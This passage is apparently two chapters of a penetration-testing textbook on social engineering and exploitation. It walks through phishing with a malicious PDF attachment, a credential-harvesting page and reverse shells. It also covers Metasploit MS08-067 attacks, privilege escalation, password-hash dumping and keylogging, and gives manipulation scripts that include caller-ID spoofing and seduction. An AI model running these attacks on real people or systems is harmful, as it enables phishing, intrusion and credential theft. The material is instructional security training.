social creatures and our nature makes us vulnerable to social engineering attacks.
These attacks are employed by social engineers to obtain confidential information or
to gain access to the restricted area. Social engineering takes different forms of attack
vectors, and each of them is limited by ones imagination based on the influence
and direction under which it is being executed. This chapter will discuss some core
principles and practices adopted by professional social engineers to manipulate
humans into divulging information or performing an act.
To learn more about Social Engineering from the modern age perspective,
visit: http://www.social-engineer.org/.
Attack process
The process of social engineering has no formal procedure or approach to follow.
Instead, we have presented some basic steps required to initiate a social engineering
attack against your target. Intelligence gathering, identifying vulnerable points,
planning the attack, and execution are the common steps taken by social engineers to
successfully divulge and acquire the target information or access.
1. Intelligence gathering: There are several ways to approach the most luring
target for your penetration test. This can be done by harvesting the corporate
e-mail addresses across the Web using advanced search engine tools, collecting
personal information about people working for the organization through
online social networks, identifying third-party software packages used by the
target organization, getting involved in corporate business events and parties,
and attending the conferences, which should provide enough intelligence to
select the most accurate insider for social engineering purposes.
[ 220 ]
Chapter 8
2. Identifying vulnerable points: Once the key insider has been selected, we
would pursue to establish the trust relationship and friendliness. This would
ensure that an attempt to hijack any confidential corporate information
would not harm or alert the target. Keeping the covertness and concealment
during the whole process is important. Alternatively, we can also investigate
to find out if the target organization is using older versions of the software
which can be exploited by delivering the malicious contents via e-mail or the
Web, which can in turn infect the trusted party's computer.
3. Planning the attack: Whether you plan to attack the target directly or
passively by electronic-assisted technology is your choice. Based on
identified vulnerable entry points, we could easily determine the path and
method of an attack. For instance, we found a friendly customer service
representative, "Bob", who in-trust will execute our e-mail attached files on
his computer without any prior authorization from senior management.
4. Execution: During the final step, our planned attack should be executed
with confidence and patience to monitor and assess the results of target
exploitation. At this point, a social engineer should hold enough information
or access to the target's property, which would allow him to further penetrate
the corporate assets. On successful execution, the exploitation and acquisition
process is completed.
Attack methods
Based on a previously defined social engineering attack process, there are five different
methods which could be beneficial for understanding, recognizing, socializing, and
preparing the target for your final operation. These methods have been categorized
and described according to their unique representation in the social engineering field.
We have also included some examples to present a real-world scenario under which
you can apply each of the selected methods. Remember that psychological factors
form the basis of these attack methods and to make these methods more efficient, they
should be drilled and exercised by social engineers regularly.
Impersonation
Convincing your target by pretending to be someone else or a person from a well-
known company is where you start. For instance, to acquire your target's bank
information, phishing would be the perfect solution unless your target has no e-mail
account. Hence, we first collect or harvest the e-mail addresses from our target and
then prepare the scam page which looks and functions exactly like the original bank
web interface.
[ 221 ]
Social Engineering
After completing all the necessary tasks, we then prepare and send a formalized e-mail
(for example, Accounts Update Issue) which appears to be from the original bank
website, asking the target to visit a link in order to provide us with up-to-date bank
information for our records. By holding qualitative skills on web technologies and using
the advanced set of tools (for example, SSLStrip), a social engineer can easily automate
this task in an effective manner. While thinking of human assisted scamming, this could
be accomplished by physically appearing and impersonating the target's banker identity.
Reciprocation
The act of exchanging a favor in terms of getting mutual advantage is known as
"reciprocation". This type of social engineering engagement may involve a casual and
long-term business relationship. By exploiting the trust between business entities we
could easily map our target to acquire the necessary information. For example, Bob
is a professional hacker and wants to know the physical security policy of the ABC
Company at its office building. After careful examination, he decides to develop a
website, drawing keen interest of two of their employees by selling antique pieces at
cheap rates. We assume that Bob already knows their personal information including
e-mail addresses through social networks, Internet forums, and so on. Out of the two
employees, Alice comes out to purchase her stuff regularly and becomes the main
target for Bob. Bob is now in a position where he could offer a special antique piece in
an exchange for the information he needs. Taking advantage of human psychological
factors, he writes an e-mail to Alice and asks her to get ABC Company's physical
security policy details, for which she would be entitled to a unique antique piece.
Without noticing the business liability, she reveals this information to Bob. This proves
that creating a fake situation while strengthening the relationship by trading values
can be advantageous for a social engineering engagement.
Influential authority
It is an attack method by which one manipulates the target's business responsibilities.
This kind of social engineering attack is sometimes a part of an "Impersonation"
method. Humans, by nature, act in an automated fashion to accept instructions from
their authority or senior management, even if their instincts suggest that certain
instructions should not be pursued. This nature makes us vulnerable to certain
threats. For example, we want to target the XYZ Company's network administrator
to acquire their authentication details. We observed and noted the phone numbers
of the administrator and the CEO of the company through a reciprocation method.
Now by using a call spoofing service (for example, www.spoofcard.com) we
managed to call the network administrator, as such, he recognized that our call is
appearing from the CEO and should be prioritized. This method influences the target
to reveal information to an impersonated authority, as such the target has to comply
with company's senior management instructions.
[ 222 ]
Chapter 8
Scarcity
Taking the best opportunity, especially if it seems scarce, is one of the greediest
natures of human beings. This method describes a way of giving an opportunity to
the people for their personal gain. The famous "Nigerian 419 Scam" (www.419eater.
com) is a typical example of human avarice. Let us take an example where Bob
wants to collect personal information from XYZ university students. We assume
that he already holds, e-mail addresses of all students. Afterwards, he professionally
developed an e-mail message offering free iPods to all XYZ university students who
reply back with their personal information (name, address, phone, e-mail, date of
birth, passport number, and so on). Since the opportunity was carefully calibrated
to target students by letting them believe and persuade their thinking about getting
the latest iPod for free, many of them may fall for this scam. In the corporate world,
this attack method can be extended to maximize the commercial gain and achieve
business objectives.
Social relationship
We, as humans, require some form of social relation to share our thoughts, feelings,
and ideas. The most vulnerable part of any social connection is "sexuality". As
you may know, the opposite sex always attracts and appeals to each other. Due to
this intensive feeling and trust we may end up revealing any information to the
opponent. There are several online social portals where people can meet and chat
to socialize. These include Facebook, MySpace, Twitter, Orkut, and many more. For
instance, Bob is hired by the XYZ Company to get a financial and marketing strategy
of the ABC Company in order to achieve a sustainable competitive advantage. He
first looks through a number of employees and finds a girl called "Alice" who is
responsible for all business operations. Pretending to be a normal business graduate,
he tries to find his way into a relationship with her (for example, through Facebook).
Bob intentionally creates situations where he could meet Alice, such as social
gatherings, anniversaries, dance clubs, music festivals, and so on. Once he acquires a
certain trust level, business talks flow easily in regular meetings. This practice allows
him to extract useful insights of financial and marketing perspectives of the ABC
Company. Remember, the more effective and trustful relations you create, the more
you can socially engineer your target.
[ 223 ]
Social Engineering
This will execute SET and display the available options to start with. Before we move
to our practical exercise, we recommend that you update SET to the latest version
(Version: 0.3 to Version: 0.7.1) in order to take full advantage of all the features.
There are two ways to update your SET. Once you execute the program, you will be
presented with a selection menu on your screen.
Select from the menu on what you would like to do:
1. Automatic E-Mail Attacks (UPDATED)
2. Website Java Applet Attack (UPDATED)
3. Update Metasploit
4. Update SET
5. Create a Payload and Listener
6. Help
7. Exit the Toolkit
Enter your choice: 4
Updating the Social-Engineer Toolkit, be patient...
Restored 'src/html/index.html'
D update_set
U config/set_config
A src/exe
A src/exe/legit.binary
A src/multi_attack
A src/multi_attack/multiattack.py
....
[ 224 ]
Chapter 8
A templates/ebook.template
U templates/README
Updated to revision 344.
The updating has finished, returning to main menu..
You can also update the program without executing it. Make sure that you have already
entered the program directory before executing the following command.
# ./set-update
[*] Updating the Social-Engineer Toolkit please wait...
At revision 344.
After the update, you should quit the program and restart it from the above
mentioned menu location. This will ensure that all changes would be effective
immediately. In our test exercise, we demonstrate two different examples, focusing
and targeting the human element from two different perspectives. The first example
illustrates an e-mail phishing attack with a malicious PDF attachment, which when
executed, would compromise the target machine. The second example exhibits a
method of gathering website user credentials.
[ 225 ]
Social Engineering
...
Enter the name of the author: Steven
Enter the subject of the email: XYZ Inc Business Report
Enter the body of the message, hit return for a new line.
Type your body and enter control+c when you are finished: Dear Karen,
Next line of the body: Please find the attached document for XYZ
company's business report 2010.
Next line of the body: Regards,
Next line of the body: Steven
Next line of the body: Market Research Analyst
Next line of the body: ^C
After completing the e-mail template, hit Ctrl+C to return to the previous menu.
...
1. Perform a Mass Email Attack
2. Create a FileFormat Payload
3. Create a Social-Engineering Template
4. Return to Main Menu
Enter your choice: 1
...
********** PAYLOADS **********
1. Adobe CoolType SING Table 'uniqueName' Overflow (0day)
2. Adobe Flash Player 'newfunction' Invalid Pointer Use
3. Adobe Collab.collectEmailInfo Buffer Overflow
4. Adobe Collab.getIcon Buffer Overflow
5. Adobe JBIG2Decode Memory Corruption Exploit
6. Adobe PDF Embedded EXE Social Engineering
7. Adobe util.printf() Buffer Overflow
8. Custom EXE to VBA (sent via RAR) (RAR required)
9. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
10. Adobe PDF Embedded EXE Social Engineering (NOJS)
Enter the number you want (press enter for default): 1
...
[ 226 ]
Chapter 8
[ 227 ]
Social Engineering
At this point, we selected our e-mail template which was created previously. This
facility will allow you to use the same template over multiple social engineering attacks.
Enter the number you want to use: 2
[-] ***
[-] * WARNING: No database support: String User Disabled Database
Support
[-] ***
...
=[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 592 exploits - 302 auxiliary
+ -- --=[ 225 payloads - 27 encoders - 8 nops
=[ svn r10511 updated 3 days ago (2010.09.28)
resource (src/program_junk/meta_config)> use exploit/multi/handler
resource (src/program_junk/meta_config)> set PAYLOAD windows/shell_
reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 192.168.0.3
LHOST => 192.168.0.3
resource (src/program_junk/meta_config)> set LPORT 5555
LPORT => 5555
resource (src/program_junk/meta_config)> set ENCODING shikata_ga_nai
ENCODING => shikata_ga_nai
resource (src/program_junk/meta_config)> set ExitOnSession false
[ 228 ]
Chapter 8
Once the attack has been set up, we should wait for a victim (that is Karen), to
launch our malicious PDF file. As soon as she executes our PDF attachment, we will
be thrown back with reverse shell access to her computer. Please note that the IP
address 192.168.0.3 is an attacker machine (that is Steven) listening on port 5555
for reverse shell connection from the victim's computer.
...
[*] Command shell session 1 opened (192.168.0.3:5555 ->
192.168.0.2:3958) at Fri Oct 01 09:40:22 +0000 2010
So, we have successfully socially engineered our target to acquire remote access
to her computer. Let us get an interactive shell prompt and execute the windows
commands.
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell 192.168.0.3:5555 -> 192.168.0.2:3958
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
E:\>
E:\>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Wireless Network Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.0.2
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
E:\>
[ 229 ]
Social Engineering
Hence, we can utilize SET to launch an e-mail phishing attack against one single,
or multiple people at the same time. It provides an effective customization and
integration of e-mail to draw a secure path for the social engineer. This scenario is
typically useful if you want to target multiple corporate employees who have a greedy
nature over their specific needs while maintaining the covertness of your actions.
To perform this exercise, we made a minor change to our SET configuration file.
While residing in the program directory /pentest/exploits/SET/ execute the
following command:
# vim config/set_config
After the necessary changes, save the configuration file and start the SET program.
# ./set
Select from the menu:
1. Spear-Phishing Attack Vectors
2. Website Attack Vectors
3. Infectious Media Generator
4. Create a Payload and Listener
5. Mass Mailer Attack
6. Teensy USB HID Attack Vector
7 Update the Metasploit Framework
8. Update the Social-Engineer Toolkit
9. Help, Credits, and About
10. Exit the Social-Engineer Toolkit
[ 230 ]
Chapter 8
[ 231 ]
Social Engineering
Enter the body of the message, hit return for a new line.
Type your body and enter control+c when you are finished: Hello Karina,
Next line of the body: If you are interested to find out about Top
Winning Secret of Poker game then visit http://192.168.0.3
Next line of the body: Regards,
Next line of the body: Shawn
Next line of the body: ^C
...
At this stage, we hit Ctrl+C after the message body is completed. Please note that
we included our web server link as http://192.168.0.3 for which the webmail
instance will be created by SET on port 80.
[*] SET has finished sending the emails.
Press <enter> when your all done...
...
[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
Now we should wait until the victim (that is Karina) visits a link and enters her
credentials into the username and password fields. These will be posted back to the
attacker's (that is Shawn) machine running the SET session and will be displayed on
the screen.
192.168.0.3 - - [01/Oct/2010 10:38:58] "GET / HTTP/1.1" 200 -
192.168.0.3 - - [01/Oct/2010 10:39:05] code 404, message File not
found
192.168.0.3 - - [01/Oct/2010 10:39:05] "GET /favicon.ico HTTP/1.1" 404
-
192.168.0.3 - - [01/Oct/2010 10:39:08] code 404, message File not
found
192.168.0.3 - - [01/Oct/2010 10:39:08] "GET /favicon.ico HTTP/1.1" 404
-
[*] WE GOT A HIT! Printing the output:
PARAM: .tries=1
PARAM: .src=ym
PARAM: .md5=
PARAM: .hash=
[ 232 ]
Chapter 8
PARAM: .js=
PARAM: .last=
PARAM: promo=
PARAM: .intl=us
POSSIBLE PASSWORD FIELD FOUND: .bypass=
PARAM: .partner=
PARAM: .u=9g6calh6aart1
PARAM: .v=0
PARAM: .challenge=z5Ygi.AE8yYiHMQAYg_eCt5GPami
PARAM: .yplus=
POSSIBLE USERNAME FIELD FOUND: .emailCode=
PARAM: pkg=
PARAM: stepid=
PARAM: .ev=
PARAM: hasMsgr=0
PARAM: .chkP=Y
PARAM: .done=http://mail.yahoo.com
PARAM: .pd=ym_ver=0
PARAM: c=
PARAM: ivt=
PARAM: sg=
PARAM: pad=5
PARAM: aad=5
POSSIBLE USERNAME FIELD FOUND: login=karina
POSSIBLE PASSWORD FIELD FOUND: passwd=3GiPsqrate
PARAM: .save=
[*] WHEN YOUR FINISHED. HIT CONTROL-C TO GENERATE A REPORT
As you can see we have successfully captured the username and password of our
victim's Yahoo! webmail service. Additionally, notice that by hitting Ctrl+C it will
generate an HTML and XML report for post verification and analysis.
^C[*] File exported to reports/2010-10-01 10:40:43.494371.html for
your reading pleasure...
[*] File in XML format exported to reports/2010-10-01 10:40:43.494371.
xml for your reading pleasure...
Thus, the same technique can be applied to many web-based services, such
as online banking systems, to capture the account credentials by manipulating a
human element.
[ 233 ]
Social Engineering
You will be presented with all available options and help information. In our
exercise, we demonstrate the use of interactive questions session for user password
profiling based on the information that we have about the target and her family.
# ./cupp.py -i
[+] Insert the informations about the victim to make a dictionary [low
cases!]
[+] If you don't know all the info, just hit enter when asked!
> Name: Karen
> Surname: Smith
> Nickname: karsmith
> Birthdate (DDMMYYYY; i.e. 04111985): 03101976
[ 234 ]
Chapter 8
> Do you want to add some key words about the victim? Y/[N]: Y
> Please enter the words, separated by comma. [i.e. hacker, juice,
black]: cooking, fashion, shopping, movies, traveling, swimming, child
care, diet, limousine
> Do you want to add special chars at the end of words? Y/[N]: N
> Do you want to add some random numbers at the end of words? Y/[N]Y
> Leet mode? (i.e. leet = 1337) Y/[N]: Y
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to Karen.txt, counting 127240 words.
[+] Now load your pistolero with Karen.txt and shoot! Good luck!
As you can see, we have provided all the information available to the best of our
knowledge about a target and generated a list of passwords that can be used with any
password cracking program. This attempt may increase the chance of finding a valid
password based on the target's personal, psychological, and social characteristics.
Summary
In this chapter we have discussed the common use of social engineering in various
aspects of life. Penetration testers may incur situations where they have to apply
social engineering tactics to acquire sensitive information from their targets. It
is human nature which is vulnerable to specific deception techniques. For the
best view of social engineering skills we have presented the basic set of elements
(communication, environment, knowledge, and frame control) which together
construct the model of human psychology. These psychological principles in
turn help the social engineer to adapt and extract the attack process (intelligence
gathering, identifying vulnerable points, planning the attack, and execution) and
methods (impersonation, reciprocation, influential authority, scarcity, and social
relationship) according to the target under examination. Afterwards, we explained
two well-known electronic-assisted tools (Social Engineering Toolkit (SET) and
Common User Passwords Profiler (CUPP)) to power-up and automate the social
engineering attack on the internet. In the next chapter, we will discuss the process of
exploiting the target using a number of tools and techniques, significantly pointing to
the vulnerability research and tactfully acquiring your target.
[ 235 ]
Target Exploitation
Keeping your projections on assisting penetration testing by attempting to exploit
the vulnerability discovered in a target network environment is a key role of this
chapter. To stimulate and explore the best options available to exploit your target
you have to carry out careful examination, research, and use of advanced tools and
techniques. The exploitation process practically finalizes the penetration operation.
However, there could be situations where the penetration tester may be asked to
attempt in-depth access (that is pivoting) to network farm and escalate his privileges
to the administration level in order to prove his presence. Such requirements are
challenging and uncertain. However, as a qualified and proven skilled professional
you may always be looking for automation and controls that could assist overcoming
such barriers. This chapter will highlight and discuss those practices and tools that
can be used to conduct real-world exploitation.
• In the first section, we will explain what areas of vulnerability research are
crucial in order to understand, examine, and test the vulnerability before
transforming it into a practical exploit code.
• Secondly, we will point several exploit repositories that should help to keep
you informed about the publicly available exploits and when to use them.
• We will also illustrate the use of one of the infamous exploitation toolkits
from a target evaluation perspective. This will give you a clear idea about
how to exploit the target in order to gain access to sensitive information. Be
informed that this section involves a couple of hands-on practical exercises.
• In the end, we attempt to briefly describe the steps for writing a simple
exploit module for Metasploit.
Target Exploitation
Writing an exploit code from scratch is a time consuming and expensive task. This
is what is usually determined by novice penetration testers and even experienced
security professionals where time-engagement is critical. Thus, using the publicly
available exploits and adjusting them to fit into your target environment may require
little time and effort. Such activity would assist in transforming the skeleton of
one exploit into another, if the similarity and purpose is almost equal. We highly
encourage the practice of publicly available exploits in order to understand and
kickstart writing your own exploit code.
Vulnerability research
Understanding the capabilities of a specific software or hardware product may
provide a starting point for investigating vulnerabilities that could exist in that
product. Conducting vulnerability research is not easy, neither a one-click task. Thus,
it requires a strong base with different factors to carry out security analysis.
[ 238 ]
Chapter 9
If you have access to application source code, you can accomplish the
security analysis through automated tools or manually study the source
in order to extract the conditions where vulnerability can be triggered. On
the other hand, binary auditing simplifies the task of reverse engineering
where the application exists without any source code. Disassemblers and
Decompilers are two generic types of tools that may assist the auditor with
binary analysis. Disassemblers generate the assembly code from a complied
binary program, while decompilers generate a high-level language code from
a compiled binary. However, dealing with either of these kinds of tools is
quite challenging and requires careful assessment.
• Instrumented tools such as debuggers, data extractors, fuzzers, profilers,
code coverage, flow analyzers, and memory monitors play an important role
in the vulnerability discovery process and provide a consistent environment
for testing purposes. Explaining each of these tool categories is out of the
scope of this book. However, you may find several useful tools already
present under the BackTrack (for example, GDB, OllyDBG, IDA Pro). To keep
track of latest reverse code engineering tools, we strongly recommend that
you visit the online library at: http://www.woodmann.com/collaborative/
tools/index.php/Category:RCE_Tools.
• Exploitability and payload construction advices the final step of writing
proof-of-concept (PoC) code for a vulnerable element of an application.
This would allow the penetration tester to execute custom commands on
the target machine. An exploit is usually developed with a discovered
vulnerability, combining different types of shellcodes for the operations of
port binding, reverse connection, system calls, file transfer, process injection,
system proxy-call, multi-stage, and command execution on the specified
target. Additionally, we can also apply our knowledge of vulnerable
application from the reverse engineering stage to polish the shellcode with an
encoding mechanism in order to avoid bad characters that may result in the
termination of the exploit process.
[ 239 ]
Target Exploitation
[ 240 ]
Chapter 9
Although there are many other Internet resources available, we have listed only a
few reviewed ones. BackTrack comes with an integration of exploit database from
"Offensive Security". This provides an extra advantage of keeping all archived
exploits to date on your system for future reference and use. To access Exploit-DB,
execute the following commands on your shell:
# cd /pentest/exploits/exploitdb/
# vim files.csv
This will open a complete list of exploits currently available from Exploit-DB under
the /pentest/exploits/exploitdb/platforms/ directory. These exploits are
categorized in their relevant subdirectories based the type of system (Windows,
Linux, HP-UX, Novell, Solaris, BSD, IRIX, TRU64, ASP, PHP, and so on). Most
of these exploits were developed using C, Perl, Python, Ruby, PHP, and other
programming technologies. BackTrack already comes with a handy set of compilers
and interpreters to help support the execution of these exploits. To update your
exploit database with the latest revision, go to Backtrack | Penetration | ExploitDB
| Update Exploitdb.
[ 241 ]
Target Exploitation
For the purposes of your understanding, we have explained the basic use of two
well-known Metasploit interfaces with their relevant command-line options. Each
interface has its own strengths and weaknesses. However, we strongly recommend
that you stick with a "console" version, as it supports most of the framework features.
MSFConsole
It is one of the most efficient, powerful, and all-in-one centralized frontend interfaces
for penetration testers to make the best use of exploitation framework. To access
"msfconsole", go to Backtrack | Penetration | Metasploit Exploitation Framework
| Framework Version 3 | Msfconsole or use the terminal to execute the following
commands:
# cd /pentest/exploits/framework3/
# ./msfconsole
You will be dropped into an interactive console interface. To learn about all the
available commands, you can type:
msf > help
[ 242 ]
Chapter 9
This will display two sets of commands, one which is widely used across the
framework, and the other that is specific to database backend where the assessment
parameters and results are stored. Instructions about other usage options can be
retrieved through the use of -h following the core command. Let us examine the use
of "show" command.
msf > show -h
[*] Valid parameters for the "show" command are: all, encoders, nops,
exploits, payloads, auxiliary, plugins, options
[*] Additional module-specific parameters are: advanced, evasion,
targets, actions
The preceding command is typically used to display the available modules of a given
type, or all of them. The most frequent commands could be any of the following:
[ 243 ]
Target Exploitation
We have compiled a short list of the most valuable commands into the following
table. You can practice each one of them with the Metasploit console.
Command Description
check Tests and verifies a particular exploit against your vulnerable
target without exploiting it. This command is not supported
by many exploits.
connect ip port Works similar to "netcat" and "telnet" tools.
exploit Launches a selected exploit.
Run Launches a selected auxiliary.
Jobs Lists all the background modules currently running and
provides the ability to terminate them.
route add subnet netmask Adds a route for the traffic through a compromised session
sessionid for network pivoting purposes.
info module Displays detailed information about a particular module
(exploit, auxiliary, and so on).
set param value Configures the parameter value within the current module.
setg param value Sets the parameter value globally across the framework to be
used by all exploits and auxiliary modules.
unset param It is a reverse of the set command. You can also reset all
variables by using the unset all command at once.
unsetg param Unsets one or more global variables.
sessions Displays, interacts, and terminates the target sessions. Use
with -l for listing, -i ID for interaction, and -k ID for
termination.
search string Provides a search facility through module names and
descriptions.
use module Selects a particular module in the context of penetration
testing.
We will demonstrate the practical use of some of these commands in the upcoming
sections. It is important for you to understand their basic use with different sets of
modules within the framework.
MSFCLI
Similar to the MSFConsole, a command-line interface (CLI) provides an extensive
coverage of various modules that can be launched at any one instance. However, it
lacks some of the advanced automation features when compared to MSFConsole.
[ 244 ]
Chapter 9
This will display all the available modes similar to that of the MSFConsole and use
instructions for selecting the particular module and set its parameters. Please note
that all the variables or parameters should follow the convention of param=value,
and that all options are case sensitive. We have presented a small exercise for
selecting and executing a particular exploit below.
# ./msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER,
SRVSVC)
The use of the letter O in the end of preceding command instructs the framework to
display available options for the selected exploit.
# ./msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 P
[*] Please wait while we load the module tree...
Compatible payloads
===================
Name Description
---- -----------
generic/debug_trap Generate a debug trap in the
target process
generic/shell_bind_tcp Listen for a connection and spawn
a command shell
...
Finally after setting the target IP using the RHOST parameter, it is now time to select
the compatible payload and execute our exploit.
# ./msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7
LHOST=192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.0.3:4444
[*] Automatically detecting the target...
[ 245 ]
Target Exploitation
As you can see, we have acquired a local shell access to our target machine after
setting the LHOST parameter for a chosen payload. This proves an easy-to-use and
efficient management of MSFCLI for quick penetration testing.
Scenario #1
During this exercise we will demonstrate how the Metasploit Framework can be
utilized for port scanning, OS fingerprinting, and service identification using an
integrated NMap facility. On your MSFConsole, execute the following commands:
msf > db_driver sqlite3
[*] Using database driver sqlite3
msf > db_connect
[-] Note that sqlite is not supported due to numerous issues.
[-] It may work, but don't count on it
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
[ 246 ]
Chapter 9
[ 247 ]
Target Exploitation
At this point, we have successfully scanned our target and saved the results into the
current database session. To list the targets and services discovered, you can issue
db_hosts and db_services command independently. Additionally, if you have
already scanned your target using the NMap program separately and saved the
result in "XML" format, then you can import those results into Metasploit using the
db_import_nmap_xml command.
Scenario #2
In this example, we will illustrate a few auxiliaries from the Metasploit Framework. The
key is to understand their importance in the context of the vulnerability analysis process.
[ 248 ]
Chapter 9
[ 249 ]
Target Exploitation
As you can see, we have discovered one SNMP enabled device with the public
community string. Although it enables read-only access to the device, we can still get
valuable information which will be beneficial during network penetration testing.
This information may involve system data, a list of running services, network
addresses, version and patch levels, and so on.
[ 250 ]
Chapter 9
You may notice that we have found a couple of VNC servers that are accessible
without authentication. This attack vector can become a serious threat for system
administrators and can trivially invite unwanted guests to your VNC server from the
Internet if no authorization controls are enabled.
[ 251 ]
Target Exploitation
Thus, we have successfully validated our target network against MS09-020 IIS6
WebDAV Unicode Authentication Bypass vulnerability. This module perhaps
helped us in discovering the vulnerable server configuration currently posing
a risk to our network.
Scenario #3
We will now explore the use of some common payloads (Bind, Reverse, Meterpreter)
and discuss their capabilities from the exploitation point of view. This exercise will
give you an idea about how and when to use the particular payload.
[ 252 ]
Chapter 9
Bind shell
A bind shell is a remote shell connection providing access to the target system upon
successful exploitation and execution of shellcode by setting up a bind port listener.
This opens a gateway for an attacker to connect-back to the compromised machine
on bind shell port using a tool like netcat which could tunnel the standard input
(stdin) and output (stdout) over TCP connection. This scenario works similarly
to that of a telnet client establishing connection to a telnet server and suites in the
environment where the attacker is behind NAT or Firewall, and direct contact from
compromised host to the attacker IP is not possible.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > exploit
Thus, we have analyzed that Metasploit also automates the process of connecting
to the bind shell using an integrated multi-payload handler. The use of tools like
netcat can become handy in situations where you write your own exploit with a
bind shellcode which should require third-party handler to establish connection to
the compromised host. You can read some practical examples of using netcat for
various network security operations on http://en.wikipedia.org/wiki/Netcat.
[ 253 ]
Target Exploitation
Reverse shell
Reverse shell is completely opposite to the bind shell. Such that, instead of binding a
port on a target system and waiting for the connection from the attacker's machine,
it simply connects-back to the attacker's IP and Port, and spawns a shell. It is also a
visible dimension of reverse shell to consider target behind NAT or Firewall which
prevents public access to its system resources.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
LHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > exploit
You can clearly differentiate between reverse shell and bind shell from the aspect
of providing the attacker's IP (for example, LHOST 192.168.0.3) in reverse shell
configuration, while there is no need for it in a bind shell.
[ 254 ]
Chapter 9
Meterpreter
A meterpreter is an advanced, stealthy, multifaceted, and dynamically extensible
payload which operates by injecting reflective DLL into a target memory. Scripts
and plugins can be dynamically loaded at runtime for the purpose of extending
the post-exploitation activity. This includes privilege escalation, dumping system
accounts, keylogging, persistent backdoor service, enabling remote desktop, and
many other extensions. Moreover, the whole communication of the meterpreter shell
is encrypted by default.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7
msf exploit(ms08_067_netapi) > show payloads
...
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_
tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show options
...
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
LHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > exploit
As you can see, we have successfully acquired a meterpreter shell. Typing in help
will display various types of commands available to us. Let us check our current
privileges and escalate them to the SYSTEM level using the meterpreter script called
getsystem.
[ 255 ]
Target Exploitation
This will display a number of techniques available for elevating our privileges.
BUsing a default command getsystem without any options specified will attempt
every single technique against the target and stop as soon as it is successful.
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer: CUSTDESK
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US
Let us use the power of meterpreter shell and dump the current system accounts and
passwords held by the target. These will be displayed in NTLM hash format and
can be reversed by cracking through several online tools and techniques. For your
reference and understanding, please visit http://www.md5decrypter.co.uk/ntlm-
decrypt.aspx.
[ 256 ]
Chapter 9
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c8edf0d0db48cbf
7b2835ec013cfb9c5:::
Momin Desktop:1003:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769
204beb12283678:::
IUSR_MOMINDESK:1004:a751dcb6ea9323026eb8f7854da74a24:b0196523134dd9a21
bf6b80e02744513:::
ASPNET:1005:ad785822109dd077027175f3382059fd:21ff86d627bcf380a5b1b6ab
e5d8e1dd:::
IWAM_MOMINDESK:1009:12a75a1d0cf47cd0c8e2f82a92190b42:c74966d83d519ba41
e5196e00f94e113:::
h4x:1010:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204b
eb12283678:::
salesdept:1011:8f51551614ded19365b226f9bfc33fab:7ad83174aadb77faac126
fdd377b1693:::
Now let us take this activity further by recording the keystrokes using the
key-logging capability of the meterpreter shell, which may reveal series of
useful data from our target.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ps
Process list
============
PID Name Arch Session User
Path
--- ---- ---- ------- ----
----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
384 smss.exe x86 0 NT AUTHORITY\SYSTEM
\SystemRoot\System32\smss.exe
488 csrss.exe x86 0 NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\csrss.exe
648 winlogon.exe x86 0 NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\winlogon.exe
692 services.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\services.exe
704 lsass.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\lsass.exe
...
148 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE
C:\WINDOWS\System32\alg.exe
